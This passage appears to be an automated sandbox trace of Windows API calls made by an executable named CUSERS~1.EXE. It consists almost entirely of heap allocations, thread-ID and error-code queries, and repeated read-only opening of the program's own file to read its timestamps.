dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.513] GetCurrentThreadId () returned 0x9b0 [0075.514] GetCurrentThreadId () returned 0x9b0 [0075.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.514] GetCurrentThreadId () returned 0x9b0 [0075.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x98) returned 0x334d0c0 [0075.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32dfbb8 [0075.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e6e08 | out: hHeap=0x2ad0000) returned 1 [0075.514] GetCurrentThreadId () returned 0x9b0 [0075.514] GetCurrentThreadId () returned 0x9b0 [0075.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf120 | out: hHeap=0x2ad0000) returned 1 [0075.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0075.514] GetCurrentThreadId () returned 0x9b0 [0075.514] GetCurrentThreadId () returned 0x9b0 [0075.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.514] GetCurrentThreadId () returned 0x9b0 [0075.514] GetCurrentThreadId () returned 0x9b0 [0075.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.514] GetCurrentThreadId () returned 0x9b0 [0075.515] GetCurrentThreadId () returned 0x9b0 [0075.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.515] GetCurrentThreadId () returned 0x9b0 [0075.515] GetCurrentThreadId () returned 0x9b0 [0075.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.515] GetCurrentThreadId () returned 0x9b0 [0075.515] GetCurrentThreadId () returned 0x9b0 [0075.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.515] GetCurrentThreadId () returned 0x9b0 [0075.515] GetCurrentThreadId () returned 0x9b0 [0075.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.515] GetCurrentThreadId () returned 0x9b0 [0075.515] GetCurrentThreadId () returned 0x9b0 [0075.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ab18 [0075.515] GetCurrentThreadId () returned 0x9b0 [0075.515] GetCurrentThreadId () returned 0x9b0 [0075.516] GetCurrentThreadId () returned 0x9b0 [0075.516] GetCurrentThreadId () returned 0x9b0 [0075.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0075.516] GetCurrentThreadId () returned 0x9b0 [0075.516] GetCurrentThreadId () returned 0x9b0 [0075.516] GetCurrentThreadId () returned 0x9b0 [0075.516] GetLastError () returned 0x0 [0075.516] GetLastError () returned 0x0 [0075.516] GetLastError () returned 0x0 [0075.516] GetLastError () returned 0x0 [0075.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32ab9b0 [0075.516] GetLastError () returned 0x0 [0075.516] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0075.516] GetFileType (hFile=0x2f0) returned 0x1 [0075.516] GetLastError () returned 0x0 [0075.516] GetCurrentThreadId () returned 0x9b0 [0075.517] GetLastError () returned 0x0 [0075.517] GetFileType (hFile=0x2f0) returned 0x1 [0075.517] GetFileInformationByHandle (in: hFile=0x2f0, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0075.517] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.517] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.517] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.517] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.517] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.517] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.517] GetLastError () returned 0x0 [0075.517] GetCurrentThreadId () returned 0x9b0 [0075.517] GetLastError () returned 0x0 [0075.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0075.517] GetLastError () returned 0x0 [0075.517] GetLastError () returned 0x0 [0075.517] GetCurrentThreadId () returned 0x9b0 [0075.517] GetLastError () returned 0x0 [0075.517] GetCurrentThreadId () returned 0x9b0 [0075.518] GetLastError () returned 0x0 [0075.518] GetLastError () returned 0x0 [0075.518] GetCurrentThreadId () returned 0x9b0 [0075.518] GetLastError () returned 0x0 [0075.518] GetCurrentThreadId () returned 0x9b0 [0075.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x36d) returned 0x31d6050 [0075.518] GetLastError () returned 0x0 [0075.519] GetLastError () returned 0x0 [0075.519] GetCurrentThreadId () returned 0x9b0 [0075.519] GetLastError () returned 0x0 [0075.519] GetCurrentThreadId () returned 0x9b0 [0075.519] GetLastError () returned 0x0 [0075.519] GetLastError () returned 0x0 [0075.519] GetCurrentThreadId () returned 0x9b0 [0075.519] GetLastError () returned 0x0 [0075.519] GetLastError () returned 0x0 [0075.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0075.519] CloseHandle (hObject=0x2f0) returned 1 [0075.519] GetLastError () returned 0x0 [0075.519] GetCurrentThreadId () returned 0x9b0 [0075.519] GetLastError () returned 0x0 [0075.519] GetLastError () returned 0x0 [0075.519] GetCurrentThreadId () returned 0x9b0 [0075.520] GetLastError () returned 0x0 [0075.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d920 | out: hHeap=0x2ad0000) returned 1 [0075.520] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x337c2b8, Size=0xba3) returned 0x337c2b8 [0075.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6050 | out: hHeap=0x2ad0000) returned 1 [0075.520] GetCurrentThreadId () returned 0x9b0 [0075.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84320 [0075.520] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84320, Size=0x20) returned 0x30282b0 [0075.520] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282b0, Size=0x40) returned 0x2a193b8 [0075.520] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a193b8, Size=0x64) returned 0x2a197a8 [0075.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0075.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337c2b8 | out: hHeap=0x2ad0000) returned 1 [0075.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e6e08 [0075.520] GetCurrentThreadId () returned 0x9b0 [0075.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0075.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.520] GetCurrentThreadId () returned 0x9b0 [0075.520] GetCurrentThreadId () returned 0x9b0 [0075.521] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.521] GetCurrentThreadId () returned 0x9b0 [0075.521] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e3560 [0075.521] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e2920 [0075.521] GetCurrentThreadId () returned 0x9b0 [0075.521] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0075.521] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.521] GetCurrentThreadId () returned 0x9b0 [0075.521] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a20288 [0075.521] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20288 | out: hHeap=0x2ad0000) returned 1 [0075.521] GetCurrentThreadId () returned 0x9b0 [0075.521] GetCurrentThreadId () returned 0x9b0 [0075.521] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.521] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.521] GetCurrentThreadId () returned 0x9b0 [0075.521] GetCurrentThreadId () returned 0x9b0 [0075.521] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.521] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.521] GetCurrentThreadId () returned 0x9b0 [0075.521] GetCurrentThreadId () returned 0x9b0 [0075.521] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ab18 [0075.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0075.522] GetCurrentThreadId () returned 0x9b0 [0075.522] GetCurrentThreadId () returned 0x9b0 [0075.522] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.522] GetCurrentThreadId () returned 0x9b0 [0075.522] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32dd180 [0075.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e7d58 | out: hHeap=0x2ad0000) returned 1 [0075.522] GetCurrentThreadId () returned 0x9b0 [0075.522] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.522] GetCurrentThreadId () returned 0x9b0 [0075.522] GetCurrentThreadId () returned 0x9b0 [0075.522] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.522] GetCurrentThreadId () returned 0x9b0 [0075.522] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.522] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a201c8 [0075.522] GetCurrentThreadId () returned 0x9b0 [0075.523] GetCurrentThreadId () returned 0x9b0 [0075.523] GetCurrentThreadId () returned 0x9b0 [0075.523] GetCurrentThreadId () returned 0x9b0 [0075.523] GetCurrentThreadId () returned 0x9b0 [0075.523] GetCurrentThreadId () returned 0x9b0 [0075.523] GetCurrentThreadId () returned 0x9b0 [0075.523] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a199d8 [0075.523] GetCurrentThreadId () returned 0x9b0 [0075.523] GetCurrentThreadId () returned 0x9b0 [0075.523] GetCurrentThreadId () returned 0x9b0 [0075.523] GetCurrentThreadId () returned 0x9b0 [0075.523] GetCurrentThreadId () returned 0x9b0 [0075.524] GetCurrentThreadId () returned 0x9b0 [0075.524] GetCurrentThreadId () returned 0x9b0 [0075.524] GetCurrentThreadId () returned 0x9b0 [0075.524] GetCurrentThreadId () returned 0x9b0 [0075.524] GetCurrentThreadId () returned 0x9b0 [0075.524] GetCurrentThreadId () returned 0x9b0 [0075.524] GetCurrentThreadId () returned 0x9b0 [0075.524] GetCurrentThreadId () returned 0x9b0 [0075.524] GetCurrentThreadId () returned 0x9b0 [0075.524] GetCurrentThreadId () returned 0x9b0 [0075.524] GetCurrentThreadId () returned 0x9b0 [0075.524] GetCurrentThreadId () returned 0x9b0 [0075.524] GetCurrentThreadId () returned 0x9b0 [0075.524] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c840f8, Size=0x20) returned 0x3028260 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.525] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028260, Size=0x40) returned 0x2a19250 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.525] GetCurrentThreadId () returned 0x9b0 [0075.526] GetCurrentThreadId () returned 0x9b0 [0075.526] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282d8, Size=0x40) returned 0x2a19298 [0075.526] GetCurrentThreadId () returned 0x9b0 [0075.526] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19298, Size=0x64) returned 0x2a195e8 [0075.526] GetCurrentThreadId () returned 0x9b0 [0075.526] GetCurrentThreadId () returned 0x9b0 [0075.526] GetCurrentThreadId () returned 0x9b0 [0075.526] GetCurrentThreadId () returned 0x9b0 [0075.526] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0b70, Size=0xb8) returned 0x2cde428 [0075.527] GetCurrentThreadId () returned 0x9b0 [0075.527] GetCurrentThreadId () returned 0x9b0 [0075.527] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cde428, Size=0xe8) returned 0x325a210 [0075.527] GetCurrentThreadId () returned 0x9b0 [0075.527] GetCurrentThreadId () returned 0x9b0 [0075.527] GetCurrentThreadId () returned 0x9b0 [0075.527] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c375e8, Size=0x160) returned 0x325f140 [0075.527] GetCurrentThreadId () returned 0x9b0 [0075.527] GetCurrentThreadId () returned 0x9b0 [0075.527] GetCurrentThreadId () returned 0x9b0 [0075.527] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f140, Size=0x1a8) returned 0x30285c8 [0075.527] GetCurrentThreadId () returned 0x9b0 [0075.527] GetCurrentThreadId () returned 0x9b0 [0075.527] GetCurrentThreadId () returned 0x9b0 [0075.527] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30285c8, Size=0x1f8) returned 0x2c313d8 [0075.527] GetCurrentThreadId () returned 0x9b0 [0075.528] GetCurrentThreadId () returned 0x9b0 [0075.528] GetCurrentThreadId () returned 0x9b0 [0075.528] GetCurrentThreadId () returned 0x9b0 [0075.528] GetCurrentThreadId () returned 0x9b0 [0075.528] GetCurrentThreadId () returned 0x9b0 [0075.528] GetCurrentThreadId () returned 0x9b0 [0075.528] GetCurrentThreadId () returned 0x9b0 [0075.528] GetCurrentThreadId () returned 0x9b0 [0075.528] GetCurrentThreadId () returned 0x9b0 [0075.528] GetCurrentThreadId () returned 0x9b0 [0075.528] GetCurrentThreadId () returned 0x9b0 [0075.528] GetCurrentThreadId () returned 0x9b0 [0075.528] GetCurrentThreadId () returned 0x9b0 [0075.528] GetCurrentThreadId () returned 0x9b0 [0075.529] GetCurrentThreadId () returned 0x9b0 [0075.529] GetCurrentThreadId () returned 0x9b0 [0075.529] GetCurrentThreadId () returned 0x9b0 [0075.529] GetCurrentThreadId () returned 0x9b0 [0075.529] GetLastError () returned 0x0 [0075.529] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bab58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0075.529] GetFileType (hFile=0x2f0) returned 0x1 [0075.529] GetCurrentThreadId () returned 0x9b0 [0075.529] GetLastError () returned 0x0 [0075.529] GetFileType (hFile=0x2f0) returned 0x1 [0075.529] GetFileInformationByHandle (in: hFile=0x2f0, lpFileInformation=0x9babd4 | out: lpFileInformation=0x9babd4) returned 1 [0075.529] FileTimeToLocalFileTime (in: lpFileTime=0x9babe8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0075.529] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0075.529] FileTimeToLocalFileTime (in: lpFileTime=0x9babe0, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0075.529] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0075.529] FileTimeToLocalFileTime (in: lpFileTime=0x9babd8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0075.529] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0075.530] GetLastError () returned 0x0 [0075.530] GetCurrentThreadId () returned 0x9b0 [0075.530] GetLastError () returned 0x0 [0075.530] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0075.530] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0075.530] GetLastError () returned 0x0 [0075.530] GetLastError () returned 0x0 [0075.530] GetCurrentThreadId () returned 0x9b0 [0075.530] GetLastError () returned 0x0 [0075.530] GetCurrentThreadId () returned 0x9b0 [0075.530] GetCurrentThreadId () returned 0x9b0 [0075.530] GetLastError () returned 0x0 [0075.530] GetLastError () returned 0x0 [0075.530] GetCurrentThreadId () returned 0x9b0 [0075.530] GetLastError () returned 0x0 [0075.530] GetCurrentThreadId () returned 0x9b0 [0075.530] GetLastError () returned 0x0 [0075.531] GetLastError () returned 0x0 [0075.531] GetCurrentThreadId () returned 0x9b0 [0075.531] GetLastError () returned 0x0 [0075.531] GetCurrentThreadId () returned 0x9b0 [0075.531] GetLastError () returned 0x0 [0075.531] GetLastError () returned 0x0 [0075.531] GetCurrentThreadId () returned 0x9b0 [0075.531] GetLastError () returned 0x0 [0075.532] GetLastError () returned 0x0 [0075.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.532] CloseHandle (hObject=0x2f0) returned 1 [0075.532] GetLastError () returned 0x0 [0075.532] GetCurrentThreadId () returned 0x9b0 [0075.532] GetLastError () returned 0x0 [0075.532] GetLastError () returned 0x0 [0075.532] GetCurrentThreadId () returned 0x9b0 [0075.532] GetLastError () returned 0x0 [0075.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d920 | out: hHeap=0x2ad0000) returned 1 [0075.532] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x337c2b8, Size=0x19a) returned 0x337c2b8 [0075.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.532] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84338, Size=0x20) returned 0x3028558 [0075.532] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x40) returned 0x2a19250 [0075.532] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a19508 [0075.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0075.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337c2b8 | out: hHeap=0x2ad0000) returned 1 [0075.533] GetCurrentThreadId () returned 0x9b0 [0075.533] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xfc) returned 0x32278b0 [0075.533] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32278b0 | out: hHeap=0x2ad0000) returned 1 [0075.533] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abbc0 [0075.533] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e0f18 [0075.533] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028530 [0075.533] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.533] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.533] GetCurrentThreadId () returned 0x9b0 [0075.533] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.533] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0075.533] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.533] GetCurrentThreadId () returned 0x9b0 [0075.533] GetCurrentThreadId () returned 0x9b0 [0075.533] GetCurrentThreadId () returned 0x9b0 [0075.533] GetCurrentThreadId () returned 0x9b0 [0075.533] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.533] GetCurrentThreadId () returned 0x9b0 [0075.533] GetCurrentThreadId () returned 0x9b0 [0075.533] GetCurrentThreadId () returned 0x9b0 [0075.533] GetLastError () returned 0x0 [0075.534] GetLastError () returned 0x0 [0075.534] GetLastError () returned 0x0 [0075.534] GetLastError () returned 0x0 [0075.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.534] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba70 [0075.534] GetLastError () returned 0x0 [0075.534] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bab58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0075.534] GetFileType (hFile=0x2f0) returned 0x1 [0075.534] GetLastError () returned 0x0 [0075.534] GetCurrentThreadId () returned 0x9b0 [0075.534] GetLastError () returned 0x0 [0075.534] GetFileType (hFile=0x2f0) returned 0x1 [0075.534] GetFileInformationByHandle (in: hFile=0x2f0, lpFileInformation=0x9babd4 | out: lpFileInformation=0x9babd4) returned 1 [0075.534] FileTimeToLocalFileTime (in: lpFileTime=0x9babe8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0075.534] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0075.534] FileTimeToLocalFileTime (in: lpFileTime=0x9babe0, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0075.535] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0075.535] FileTimeToLocalFileTime (in: lpFileTime=0x9babd8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0075.535] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0075.535] GetLastError () returned 0x0 [0075.535] GetCurrentThreadId () returned 0x9b0 [0075.535] GetLastError () returned 0x0 [0075.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0075.535] GetLastError () returned 0x0 [0075.535] GetLastError () returned 0x0 [0075.535] GetCurrentThreadId () returned 0x9b0 [0075.535] GetLastError () returned 0x0 [0075.535] GetCurrentThreadId () returned 0x9b0 [0075.535] GetLastError () returned 0x0 [0075.535] GetLastError () returned 0x0 [0075.535] GetCurrentThreadId () returned 0x9b0 [0075.535] GetLastError () returned 0x0 [0075.535] GetCurrentThreadId () returned 0x9b0 [0075.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x39d) returned 0x325fe50 [0075.536] GetLastError () returned 0x0 [0075.536] GetLastError () returned 0x0 [0075.536] GetCurrentThreadId () returned 0x9b0 [0075.536] GetLastError () returned 0x0 [0075.536] GetCurrentThreadId () returned 0x9b0 [0075.536] GetLastError () returned 0x0 [0075.536] GetLastError () returned 0x0 [0075.536] GetCurrentThreadId () returned 0x9b0 [0075.536] GetLastError () returned 0x0 [0075.536] GetLastError () returned 0x0 [0075.536] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.536] CloseHandle (hObject=0x2f0) returned 1 [0075.536] GetLastError () returned 0x0 [0075.536] GetCurrentThreadId () returned 0x9b0 